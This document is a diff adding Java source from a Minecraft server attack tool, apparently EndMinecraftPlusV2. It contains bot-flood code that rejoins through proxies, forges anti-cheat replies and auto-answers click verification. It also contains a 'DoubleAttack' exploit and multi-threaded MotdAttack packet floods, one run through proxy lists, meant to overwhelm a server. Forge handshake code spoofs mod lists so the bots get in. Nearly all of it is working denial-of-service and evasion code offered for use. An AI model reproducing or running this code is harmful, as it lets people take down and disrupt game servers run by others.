+        Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
+        new MCForge(client.getSession(), this.modList).init();
+
+        client.getSession().addListener(new SessionListener() {
+            public void packetReceived(PacketReceivedEvent e) {
+                handlePacket(e.getSession(), e.getPacket(), username);
+            }
+
+            public void packetSent(PacketSentEvent e) {
+            }
+
+            public void connected(ConnectedEvent e) {
+            }
+
+            public void disconnecting(DisconnectingEvent e) {
+            }
+
+            public void disconnected(DisconnectedEvent e) {
+                String msg;
+
+                if (e.getCause() == null) {
+                    msg = e.getReason();
+                    LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
+
+                    if (ConfigUtil.SaveWorkingProxy) {
+                        ProxyUtil.saveWorkingProxy(proxy);
+                    }
+
+                    for (String rejoinDetect:ConfigUtil.RejoinDetect) {
+                        if (msg.contains(rejoinDetect)) {
+                            for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
+                                Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
+                                rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
+                                rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
+
+                                rejoin++;
+                                LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
+                                clientName.put(rejoinClient, username);
+                                clients.add(rejoinClient);
+                                rejoinClient.getSession().connect(false);
+
+                                OtherUtils.doSleep(ConfigUtil.RejoinDelay);
+
+                                if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
+                                    break;
+                                }
+                            }
+                        }
+                    }
+                } else if (ConfigUtil.ShowFails) {
+                    msg = e.getCause().getMessage();
+                    LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
+                }
+
+                failed++;
+                alivePlayers.remove(username);
+
+                client.getSession().disconnect("");
+                clients.remove(client);
+            }
+        });
+        return client;
+    }
+
+    public void getMotd(Proxy proxy, String ip, int port) {
+        try {
+            Socket socket = new Socket(proxy);
+            socket.connect(new InetSocketAddress(ip, port));
+            if (socket.isConnected()) {
+                OutputStream out = socket.getOutputStream();
+                InputStream in = socket.getInputStream();
+                out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
+                out.write(new byte[]{0x01, 0x00});
+                out.flush();
+                in.read();
+
+                try {
+                    in.close();
+                    out.close();
+                    socket.close();
+                } catch (Exception ignored) {}
+
+                return;
+            }
+            socket.close();
+        } catch (Exception ignored) {}
+    }
+
+    protected void handlePacket(Session session, Packet recvPacket, String username) {
+        if (recvPacket instanceof ServerPluginMessagePacket) {
+            ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
+            switch (packet.getChannel()) {
+                case "AntiCheat3.4.3":
+                    String code = ac3.uncompress(packet.getData());
+                    byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code,
+                            new String[]{"44f6bc86a41fa0555784c255e3174260"});
+                    session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData));
+                    break;
+                case "anotherstaranticheat":
+                    String salt = asac.decodeSPacket(packet.getData());
+                    byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
+                    session.send(new ClientPluginMessagePacket("anotherstaranticheat", data));
+                    break;
+                case "VexView":
+                    if (new String(packet.getData()).equals("GET:Verification"))
+                        session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes()));
+                    break;
+                default:
+            }
+        } else if (recvPacket instanceof ServerJoinGamePacket) {
+            session.setFlag("join", true);
+            LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
+            joined++;
+
+            if (ConfigUtil.SaveWorkingProxy) {
+                ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session));
+            }
+
+            if (!alivePlayers.contains(username)) {
+                alivePlayers.add(username);
+            }
+
+            MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
+            MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
+        } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
+            try {
+                ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
+                MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
+                session.send(new ClientPlayerMovementPacket(true));
+                MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
+            } catch (Exception ignored) {}
+
+        } else if (recvPacket instanceof ServerChatPacket) {
+            ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
+            clickVerifiesHandle(chatPacket.getMessage(), session, username);
+        }
+    }
+
+    public static void clickVerifiesHandle(Message message, Session session, String username) {
+        boolean needClick = false;
+
+        if (message.getStyle().getClickEvent() != null) {
+            for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) {
+                if (message.getText().contains(clickVerifiesDetect)) {
+                    needClick = true;
+                    break;
+                }
+            }
+        }
+
+        if (needClick) {
+            LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
+            session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
+            clickVerifies++;
+        } else {
+            if (!message.getText().equals("")) {
+                LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack");
+            }
+
+            if (!alivePlayers.contains(username)) {
+                alivePlayers.add(username);
+            }
+        }
+
+        if (message.getExtra() != null && !message.getExtra().isEmpty()) {
+            for (Message extraMessage:message.getExtra()) {
+                clickVerifiesHandle(extraMessage, session, username);
+            }
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/DoubleAttack.java

@@ -0,0 +1,37 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
+import org.spacehq.packetlib.Client;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.net.Proxy;
+
+public class DoubleAttack extends BotAttack {
+    private String username;
+    private Integer totalTimes = 0;
+    private Integer runTimes = 0;
+
+    public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+        super(ip, port, time, maxconnect, joinsleep);
+    }
+
+    public void setUsername(String username) {
+        this.username = username;
+    }
+
+    public Client createClient(String ip, int port, String username, Proxy proxy) {
+        totalTimes++;
+        return super.createClient(ip, port, this.username, proxy);
+    }
+
+    protected void handlePacket(Session session, Packet recvPacket, String username) {
+        super.handlePacket(session, recvPacket, username);
+        if (recvPacket instanceof ServerJoinGamePacket) {
+            session.disconnect("Double Exploit - Connection Reset!");
+            runTimes++;
+            SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次");
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/IAttack.java

@@ -0,0 +1,22 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
+
+public abstract class IAttack {
+    public String ip;
+    public int port;
+
+    public int attack_time;
+    public int attack_maxconnect;
+    public long attack_joinsleep;
+
+    public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+        this.ip = ip;
+        this.port = port;
+        this.attack_time = time;
+        this.attack_maxconnect = maxconnect;
+        this.attack_joinsleep = joinsleep;
+    }
+
+    public abstract void start();
+
+    public abstract void stop();
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttack.java

@@ -0,0 +1,73 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.List;
+
+public class MotdAttack extends IAttack {
+    public List<Thread> threads = new ArrayList<>();
+    private int runTimes = 0;
+    private int errorTimes = 0;
+    public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+        super(ip, port, time, maxconnect, joinsleep);
+    }
+
+    public void start() {
+        Runnable task = () -> {
+            while (true) {
+                try {
+                    Socket socket = new Socket();
+                    socket.connect(new InetSocketAddress(ip, port));
+                    if (socket.isConnected()) {
+                        LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName());
+                        OutputStream out = socket.getOutputStream();
+                        out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
+                        out.flush();
+                        while (socket.isConnected()) {
+                            for (int i = 0; i < 10; i++) {
+                                SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
+                                out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
+                                        0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
+                                runTimes++;
+                            }
+                            out.flush();
+                        }
+                        try {
+                            out.close();
+                            socket.close();
+                        } catch (IOException ignored) {}
+                        LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName());
+                        OtherUtils.doSleep(attack_joinsleep);
+                    }
+                } catch (Throwable e) {
+                    LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
+                    errorTimes++;
+                }
+            }
+        };
+
+        if (this.attack_maxconnect < 1) {
+            this.attack_maxconnect = 10;
+        }
+
+        for (int i = 0; i < this.attack_maxconnect; i++) {
+            Thread thread = new Thread(task);
+            thread.setName(String.valueOf(i + 1));
+            thread.start();
+            threads.add(thread);
+        }
+    }
+
+    @SuppressWarnings("deprecation")
+    public void stop() {
+        threads.forEach(Thread::stop);
+    }
+
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttackP.java

@@ -0,0 +1,92 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.List;
+
+public class MotdAttackP extends IAttack {
+    public List<Thread> threads = new ArrayList<>();
+    private int runTimes = 0;
+    private int errorTimes = 0;
+
+    public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
+        super(ip, port, time, maxconnect, joinsleep);
+    }
+
+    public void start() {
+        Proxy.Type proxyType;
+        switch (ConfigUtil.ProxyType) {
+            case 2:
+                proxyType = Proxy.Type.SOCKS;
+                break;
+            case 1:
+            default:
+                proxyType = Proxy.Type.HTTP;
+                break;
+        }
+
+        for (String p: ProxyUtil.proxies) {
+            try {
+                String[] _p = p.split(":");
+                Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
+                Thread thread = createThread(proxy, ip, port);
+                thread.start();
+                threads.add(thread);
+                if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect))
+                    return;
+            } catch (Exception e) {
+                LogUtil.doLog(1,"发生错误: " + e, null);
+            }
+        }
+    }
+
+    @SuppressWarnings("deprecation")
+    public void stop() {
+        threads.forEach(Thread::stop);
+    }
+
+    public Thread createThread(Proxy proxy, String ip, int port) {
+        Runnable task = () -> {
+            while (true) {
+                try {
+                    Socket socket = new Socket(proxy);
+                    socket.connect(new InetSocketAddress(ip, port));
+                    if (socket.isConnected()) {
+                        LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName());
+                        OutputStream out = socket.getOutputStream();
+                        out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
+                        out.flush();
+                        while (socket.isConnected()) {
+                            for (int i = 0; i < 10; i++) {
+                                SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
+                                out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
+                                        0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
+                                runTimes++;
+                            }
+                            out.flush();
+                        }
+                        try {
+                            out.close();
+                            socket.close();
+                        } catch (IOException ignored) {
+                        }
+
+                        LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName());
+                    }
+                } catch (Throwable e) {
+                    LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
+                    errorTimes++;
+                }
+
+                OtherUtils.doSleep(attack_joinsleep);
+            }
+        };
+        return new Thread(task);
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MultiVersionPacket.java

@@ -0,0 +1,94 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
+
+import org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket;
+import org.spacehq.mc.protocol.packet.ingame.client.ClientTabCompletePacket;
+import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
+import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+
+public class MultiVersionPacket {
+    public static void sendTabPacket(Session session, String text) {
+        try {
+            Class<?> cls = ClientTabCompletePacket.class;
+            Constructor<?> constructor = cls.getDeclaredConstructor();
+            constructor.setAccessible(true);
+            ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance();
+            Field field = cls.getDeclaredField("text");
+            field.setAccessible(true);
+            field.set(packet, text);
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) {
+        try {
+            Class<?> cls = ClientPlayerPositionRotationPacket.class;
+            Constructor<?> constructor;
+            ClientPlayerPositionRotationPacket packet;
+            try {
+                constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class);
+                packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch);
+            } catch (NoSuchMethodException ex) {
+                constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class);
+                packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch);
+            }
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendClientSettingPacket(Session session, String locale) {
+        try {
+            Class<?> cls = ClientSettingsPacket.class;
+            Constructor<?> constructor;
+            ClientSettingsPacket packet;
+            try {
+                Class<?> parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility");
+                Class<?> parm2Class = Class.forName("[Lorg.spacehq.mc.protocol.data.game.setting.SkinPart;");
+                Class<?> parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand");
+
+                Class<?> skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart");
+                Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1);
+                Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]);
+
+                constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class);
+                packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]);
+            } catch (NoSuchMethodException ex) {
+                Class<?> parm1Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility");
+                Class<?> parm2Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty");
+
+                constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class);
+                packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true);
+            }
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) {
+        try {
+            Class<?> cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket");
+            Constructor<?> constructor = cls.getConstructor(int.class);
+            Packet packet = (Packet) constructor.newInstance(slot);
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendClientTeleportConfirmPacket(Session session, int id) {
+        try {
+            Class<?> cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket");
+            Constructor<?> constructor = cls.getConstructor(int.class);
+            Packet packet = (Packet) constructor.newInstance(id);
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) {
+        try {
+            sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet));
+        } catch (Exception ignored) {}
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java

@@ -0,0 +1,101 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
+
+import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.event.session.*;
+
+import java.lang.reflect.Field;
+import java.util.Map;
+
+public class MCForge {
+    private final MCForgeHandShake handshake;
+
+    public Map<String, String> modList;
+    public Session session;
+
+    public MCForge(Session session, Map<String, String> modList) {
+        this.modList = modList;
+        this.session = session;
+        this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this);
+    }
+
+    public void init() {
+        this.session.addListener(new SessionListener() {
+            public void packetReceived(PacketReceivedEvent e) {
+                if (e.getPacket() instanceof ServerPluginMessagePacket) {
+                    handle(e.getPacket());
+                } else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) {
+                    handshake.handle(e.getPacket());
+                }
+            }
+
+            public void packetSent(PacketSentEvent e) {
+            }
+
+            public void connected(ConnectedEvent e) {
+                modifyHost();
+            }
+
+            public void disconnecting(DisconnectingEvent e) {
+            }
+
+            public void disconnected(DisconnectedEvent e) {
+            }
+        });
+    }
+
+    public void handle(ServerPluginMessagePacket packet) {
+        switch (packet.getChannel()) {
+        case "FML|HS":
+            this.handshake.handle(packet);
+            break;
+        case "REGISTER":
+        case "minecraft:register": // 1.13
+            this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData()));
+            break;
+        case "MC|Brand":
+        case "minecraft:brand": // 1.13
+            this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes()));
+            break;
+        }
+    }
+
+    public void modifyHost() {
+        try {
+            Class<?> cls = this.session.getClass().getSuperclass();
+
+            Field field = cls.getDeclaredField("host");
+            field.setAccessible(true);
+
+            field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0");
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static boolean isVersion1710() {
+        return (getProtocolVersion() == 5);
+    }
+
+    public static boolean isAfterVersion1_13() {
+        return (getProtocolVersion() >= 393);
+    }
+
+    public static int getProtocolVersion() {
+        try {
+            Class<?> cls;
+            try {
+                cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants");
+            } catch (ClassNotFoundException e) {
+                cls = Class.forName("org.spacehq.mc.protocol.MinecraftConstants");
+            }
+
+            Field field = cls.getDeclaredField("PROTOCOL_VERSION");
+            return field.getInt(null);
+        } catch (Exception e) {
+            e.printStackTrace();
+            return 0;
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShake.java

@@ -0,0 +1,14 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
+
+import org.spacehq.packetlib.packet.Packet;
+
+public abstract class MCForgeHandShake {
+    protected MCForge forge;
+
+    public MCForgeHandShake(MCForge forge) {
+        this.forge = forge;
+    }
+
+    public abstract void handle(Packet recvPacket);
+    public abstract String getFMLVersion();
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV1.java

@@ -0,0 +1,75 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
+
+import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.io.stream.StreamNetOutput;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+public class MCForgeHandShakeV1 extends MCForgeHandShake {
+    public MCForgeHandShakeV1(MCForge forge) {
+        super(forge);
+    }
+
+    public void handle(Packet recvPacket) {
+        ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
+        Session session = forge.session;
+
+        byte[] data = packet.getData();
+        int packetID = data[0];
+
+        switch (packetID) {
+        case 0: // Hello
+            sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 });
+
+            // ModList
+            ByteArrayOutputStream buf = new ByteArrayOutputStream();
+            StreamNetOutput out = new StreamNetOutput(buf);
+            try {
+                out.writeVarInt(2);
+                out.writeByte(forge.modList.size());
+                forge.modList.forEach((k, v) -> {
+                    try {
+                        out.writeString(k);
+                        out.writeString(v);
+                    } catch (IOException e) {
+                        e.printStackTrace();
+                    }
+                });
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+            sendPluginMessage(session, packet.getChannel(), buf.toByteArray());
+            break;
+        case 2: // ModList
+            sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA)
+            break;
+        case 3: // RegistryData
+            sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE)
+            break;
+        case -1: // HandshakeAck
+            int ackID = data[1];
+            switch (ackID) {
+            case 2: // WAITING CACK
+                sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE
+                break;
+            case 3: // COMPLETE
+                sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE
+                break;
+            default:
+            }
+        default:
+        }
+    }
+
+    public String getFMLVersion() {
+        return "FML";
+    }
+
+    private void sendPluginMessage(Session session, String channel, byte[] data) {
+        session.send(new ClientPluginMessagePacket(channel, data));
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV2.java

@@ -0,0 +1,158 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
+
+import org.spacehq.mc.protocol.packet.login.client.LoginPluginResponsePacket;
+import org.spacehq.mc.protocol.packet.login.server.LoginPluginRequestPacket;
+import org.spacehq.packetlib.io.buffer.ByteBufferNetInput;
+import org.spacehq.packetlib.io.stream.StreamNetOutput;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class MCForgeHandShakeV2 extends MCForgeHandShake {
+    private final int Packet_S2CModList = 1;
+    private final int Packet_C2SModListReply = 2;
+    private final int Packet_S2CRegistry = 3;
+    private final int Packet_S2CConfigData = 4;
+    private final int Packet_C2SAcknowledge = 99;
+
+    public MCForgeHandShakeV2(MCForge forge) {
+        super(forge);
+    }
+
+    public void handle(Packet recvPacket) {
+        LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket;
+        if (!packet.getChannel().equals("fml:loginwrapper")) return;
+
+        try {
+            LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData());
+            String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver();
+            ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload()));
+
+            int packetID = in.readByte();
+            switch (packetID) {
+                case Packet_S2CModList: {
+                    // recv: S2CModList
+                    final List<String> mods = new ArrayList<>();
+                    int len = in.readVarInt();
+                    for (int x = 0; x < len; x++)
+                        mods.add(in.readString());
+
+                    final Map<String, String> channels = new HashMap<>();
+                    len = in.readVarInt();
+                    for (int x = 0; x < len; x++)
+                        channels.put(in.readString(), in.readString());
+
+                    final List<String> registries = new ArrayList<>();
+                    len = in.readVarInt();
+                    for (int x = 0; x < len; x++)
+                        registries.add(in.readString());
+                    // send: C2SModListReply
+                    ByteArrayOutputStream buf = new ByteArrayOutputStream();
+                    StreamNetOutput out = new StreamNetOutput(buf);
+
+                    out.writeByte(Packet_C2SModListReply);
+
+                    out.writeVarInt(mods.size());
+                    mods.forEach(m -> {
+                        try {
+                            out.writeString(m);
+                        } catch (IOException e) {
+                            e.printStackTrace();
+                        }
+                    });
+
+                    out.writeVarInt(channels.size());
+                    channels.forEach((k, v) -> {
+                        try {
+                            out.writeString(k);
+                            out.writeString(v);
+                        } catch (IOException e) {
+                            e.printStackTrace();
+                        }
+                    });
+
+                    // TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java)
+                    out.writeVarInt(0); // empty map
+                    /*
+                    out.writeVarInt(registries.size());
+                    registries.forEach(r -> {
+                        try {
+                            out.writeString(r);
+                            out.writeString("");
+                        } catch (IOException e) {
+                            e.printStackTrace();
+                        }
+                    });
+                    */
+
+                    reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
+                    break;
+                }
+                case Packet_S2CRegistry:
+                case Packet_S2CConfigData: {
+                    // recv: S2CRegistry
+                    // send: C2SAcknowledge
+                    ByteArrayOutputStream buf = new ByteArrayOutputStream();
+                    StreamNetOutput out = new StreamNetOutput(buf);
+
+                    out.writeByte(Packet_C2SAcknowledge);
+
+                    reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
+                    break;
+                }// recv: S2CConfigData
+            }
+        } catch (Exception ex) {
+            forge.session.disconnect("Failure to handshake", ex);
+        }
+    }
+
+    public String getFMLVersion() {
+        return "FML2";
+    }
+
+    private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException {
+        forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes()));
+    }
+
+    static class LoginWrapper {
+        private String targetNetworkReceiver;
+        private byte[] payload;
+
+        public LoginWrapper() {}
+        public LoginWrapper(String targetNetworkReceiver, byte[] payload) {
+            this.targetNetworkReceiver = targetNetworkReceiver;
+            this.payload = payload;
+        }
+
+        public LoginWrapper fromBytes(byte[] bytes) throws IOException {
+            ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes));
+            this.targetNetworkReceiver = in.readString();
+            this.payload = in.readBytes(in.readVarInt());
+            return this;
+        }
+
+        public byte[] toBytes() throws IOException {
+            ByteArrayOutputStream buf = new ByteArrayOutputStream();
+            StreamNetOutput pb = new StreamNetOutput(buf);
+            pb.writeString(targetNetworkReceiver);
+            pb.writeVarInt(payload.length);
+            pb.writeBytes(payload);
+
+            return buf.toByteArray();
+        }
+
+        public String getTargetNetworkReceiver() {
+            return this.targetNetworkReceiver;
+        }
+
+        public byte[] getPayload() {
+            return this.payload;
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeInject.java

@@ -0,0 +1,52 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+public class MCForgeInject {
+    public static boolean inject() {
+
+        try {
+            if (MCForge.isVersion1710()) {
+                injectPluginMessage();
+                injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read",
+                        "{$1.readBytes($1.available());return;}");
+                injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket",
+                        "read", "{$1.readBytes($1.available());return;}");
+                injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket",
+                        "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}");
+            } else {
+                ClassPool classPool = ClassPool.getDefault();
+                CtClass ctClass = classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues");
+                if (ctClass == null)
+                    ctClass = classPool.get("org.spacehq.mc.protocol.data.game.MagicValues");
